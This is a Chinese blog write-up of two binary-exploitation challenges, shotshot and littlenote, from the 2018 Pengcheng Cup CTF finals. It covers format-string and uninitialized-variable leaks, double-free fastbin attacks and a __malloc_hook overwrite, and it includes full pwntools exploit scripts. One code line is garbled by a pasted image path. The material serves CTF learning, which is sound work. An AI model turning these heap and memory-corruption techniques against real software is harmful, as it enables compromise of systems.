Hexo

  • 首页

  • 归档

鹏城杯线下总结

发表于 2018-12-12 更新于 2019-08-15

鹏城杯线下总结

原文首发自安全客

前言

这次鹏城杯线下槽点很多,但是主要原因还是自己TCL。。这里我就选了比较简单的两题详细讲一下解题思路,如讲得不对,欢迎大佬指正。

shotshot

这题的泄露地址很容易,有个格式化字符串漏洞和变量未初始化,这两个都可以用来泄露地址,难点是后面有个任意地址写的漏洞怎么利用,自己先调试了好久,后来一航师傅写出脚本后我看了一眼才恍然大悟,师傅太强了,mark。

1、查看保护

主要开了canary和nx。

1

2、泄露地址

程序welcome函数中的变量v1没有初始化,show函数有个明显的格式化字符串漏洞,都可以用于泄露地址。

2

3

(1)利用变量未初始化泄露

在这里下个断点,输入几个‘a’,看看printf函数的栈里有什么。

4

有这里可以看出,只要我们输入8个a,就能把后面的地址泄露出来,即<_IO_stdfile_2_lock>

5

(2)利用格式化字符串泄露地址

这里我通过暴力泄露__libc_start_main的地址来获得基地址,偏移为11。

6

代码为

1
2
3
4
5
6
7
8
9
10
p.recvuntil('Your name :')
p.sendline('aaa')
add(0x20,'%11$lx')
show()
libc_start_main=int(p.recv(12),16)-0xf0

#gdb.attach(p)
print hex(libc_start_main)
li![7](E:\cmder\myblog\source\_posts\pcb\7.jpg)bcbase=libc_start_main-0x0020740
print hex(libcbase)

7

3、低字节任意改

我们来看一下这里会执行start+32的地址,只要我们改掉这里的地址就能执行到我们想要的地方。

8

在0x00040096C和0x00400C07下断点调试可以知道a1和start是同一个地址,即0x7ffff7ff5000,当v3等于0的时候就会有一次低字节任意写的机会,改写的位置就是我们输入的id,改写的内容就是我们输入的luckynum。

9

10

这时只要我们id输入为32,就能改写start+32的位置,输入luckynum为0xaf就能执行0x0400AAF ,即read。代码为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def shot(num,id):
p.recvuntil('5. exit\n')
p.sendline('4')
p.recvuntil('3. C++\n')
p.sendline(str(num))
p.recvuntil('Input the id:')
p.sendline(str(id))

def shoter():
p.recvuntil('5. exit\n')
p.sendline('4')
p.recvuntil('3. C++\n')
p.sendline('4')

shot(1,32)
for i in range(3):
shoter()
p.recvuntil('Give me your luckynum:\n')

p.sendline('175')

这时在0x00400A58下断点,就可以知道返回地址的偏移。由下图可以看出,偏移为0x10

11

这时我们输入0x18个a就能崩溃

12

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import*
context.log_level=True
p=process('./shotshot')

elf=ELF('shotshot')
libc=ELF('libc.so.6')


def add(leng,x):
p.recvuntil('5. exit\n')
p.sendline('1')
p.recvuntil("weapon's name:\n")
p.sendline(str(leng))
p.recvuntil('Input the name:\n')
p.sendline(x)
p.recvuntil('Success!\n')
def delete():
p.recvuntil('5. exit\n')
p.sendline('3')
p.recvuntil("I can't believe it!")

def show():
p.recvuntil('5. exit\n')
p.sendline('2')
def shot(num,id):
p.recvuntil('5. exit\n')
p.sendline('4')
p.recvuntil('3. C++\n')
p.sendline(str(num))
p.recvuntil('Input the id:')
p.sendline(str(id))

def shoter():
p.recvuntil('5. exit\n')
p.sendline('4')
p.recvuntil('3. C++\n')
p.sendline('4')


p.recvuntil('Your name :')
p.sendline('aaa')
add(0x20,'%11$lx')
show()
libc_start_main=int(p.recv(12),16)-0xf0

#gdb.attach(p)
print hex(libc_start_main)
libcbase=libc_start_main-0x0020740
print hex(libcbase)
one=libcbase+0xf02a4
shot(1,32)
for i in range(3):
shoter()
p.recvuntil('Give me your luckynum:\n')

p.sendline('175')
sleep(0.5)
p.sendline('a'*16+p64(one))
p.interactive()

littlenote

这道题目不知怎么回事,比赛刚开始没多久就有人做出来了?其实这题关键的点就是要泄露地址,然后就是简单的改malloc hook了,我赛后跟别人交流了一下,没想到这道题有三种泄露的方法。其中一种是我万万没想到的。。

1、查看保护

这里主要开启了canary和NX保护

121

2、ida打开分析

这里的addnote限制了大小,只有0x60和0x20,而且,这里还有一个UAF

122

freenote里还有一个UAF,以及double free漏洞

123

hacker函数里有个负数组越界,不过貌似没什么用额。。

124

3、泄露地址

(1)、利用scanf函数泄露地址

当时听到还能这样泄露真的崩溃了,竟然还能这么简单。。只要在这里输入一个‘a’,就会输出v4的地址。

125

126

(2)、利用double free覆盖got表泄露地址

这里利用fastbin attack到got表的位置,然后就会输出上面的地址,不过这种方法利用的条件要很挑剔,在上面只找到了一个合适的位置attack。然后执行show就会输出_IO_2_1_stderr_的地址

127

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
add('a','Y')
add('a','Y')
delete(0)
delete(1)
delete(0)

add(p64(elf.got['stdout']-3),'Y')
print hex(elf.got['stdout'])
add('a','Y')
add('a','Y')

add('a'*18,'Y')
show(5)

(3)、利用double free修改chunk的size泄露

因为这里UAF只能泄露堆的地址,所以这里我们可以利用double free修改fd为堆块的地址然后覆盖chunk改下一个chunk的size。free后会放入unsorted bin,最后利用show输出泄露main_arena的地址。师傅的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
add("1"*8)
add("2"*0x10 + p64(0)+p64(0x71))
add("3"*0x10 + p64(0)+p64(0x21))
add((p64(0) + p64(0x21))*4)
free(1)
free(0)
free(1)
heap = show(0)
print hex(heap)
add(p64(heap+0x20)[0:2])
add("2"*8)
add("3"*8)
add("4"*0x40 + p64(0) + p64(0x91))
free(2)
add("\x88")
addr = show(8)

4、改malloc hook为one_gadget

既然地址知道了,我们就可以利用double free改fd指针为malloc hook附近的地方,使之成为合法的chunk

1
2
3
4
5
6
7
8
9
10
11
delete(2)
delete(3)
delete(2)
one=libcbase+0xf02a4
add(p64(malloc-0x13),'Y')
add('a','Y')
add('a','Y')
#gdb.attach(p)
add('a'*3+p64(one),'Y')
delete(7)
delete(7)

128

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import*
context.log_level=True
p=process('./littlenote')
#p=remote('172.91.0.64',8088)
elf=ELF('littlenote')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')


def add(x,f):
p.recvuntil('Your choice:\n')
p.sendline('1')
p.recvuntil("Enter your note\n")
p.sendline(x)
p.recvuntil('Want to keep your note?\n')
p.sendline(str(f))
p.recvuntil('Done\n')
def delete(id):
p.recvuntil('Your choice:\n')
p.sendline('3')
p.recvuntil("Which note do you want to delete?")
p.sendline(str(id))
def show(id):
p.recvuntil('Your choice:\n')
p.sendline('2')
p.recvuntil('Which note do you want to show?\n')
p.sendline(str(id))
def hack():

p.recvuntil('Your choice:\n')
p.sendline('5')
p.recvuntil("Enter administrator's name:\n")
p.sendline('a')
def hacker(x):
for i in range(-15,-9):
p.recvuntil('Enter hacker index:\n')
p.sendline(str(i))
p.recvuntil('Enter hacker age:\n')
p.sendline(x)
add('a','Y')
add('a','Y')
delete(0)
delete(1)
delete(0)

add(p64(elf.got['stdout']-3),'Y')
print hex(elf.got['stdout'])
add('a','Y')
add('a','Y')

add('a'*18,'Y')
show(5)
#gdb.attach(p)
#p.recv()
p.recvuntil('aaaaaaaaaaaaaaaaaa\n')
raw_input()
a=u64(p.recv(6).ljust(0x8,'\x00'))
libcbase=a-libc.symbols['_IO_2_1_stderr_']
print hex(a)
print hex(libcbase)
malloc=libcbase+libc.symbols['__malloc_hook']
delete(2)
delete(3)
delete(2)
one=libcbase+0xf02a4
add(p64(malloc-0x13),'Y')
add('a','Y')
add('a','Y')
#gdb.attach(p)
add('a'*3+p64(one),'Y')
gdb.attach(p)
delete(7)
delete(7)


p.recv()
p.interactive()

小结

自己TCL,师傅们太强了,被虐哭了。。今后还需要努力。

浅析栈溢出遇到的两种坑及绕过技巧
移动安全知识学习总结
  • 文章目录
  • 站点概览

GD

a GOOD pwner
14 日志
  1. 1. 鹏城杯线下总结
    1. 1.1. 原文首发自安全客
  2. 2. 前言
  3. 3. shotshot
    1. 3.1. 1、查看保护
    2. 3.2. 2、泄露地址
      1. 3.2.1. (1)利用变量未初始化泄露
      2. 3.2.2. (2)利用格式化字符串泄露地址
    3. 3.3. 3、低字节任意改
    4. 3.4. 完整exp
  4. 4. littlenote
    1. 4.1. 1、查看保护
    2. 4.2. 2、ida打开分析
    3. 4.3. 3、泄露地址
      1. 4.3.1. (1)、利用scanf函数泄露地址
      2. 4.3.2. (2)、利用double free覆盖got表泄露地址
      3. 4.3.3. (3)、利用double free修改chunk的size泄露
    4. 4.4. 4、改malloc hook为one_gadget
    5. 4.5. 完整exp
  5. 5. 小结
© 2019 GD
由 Hexo 强力驱动 v3.7.1
|
主题 – NexT.Muse v7.3.0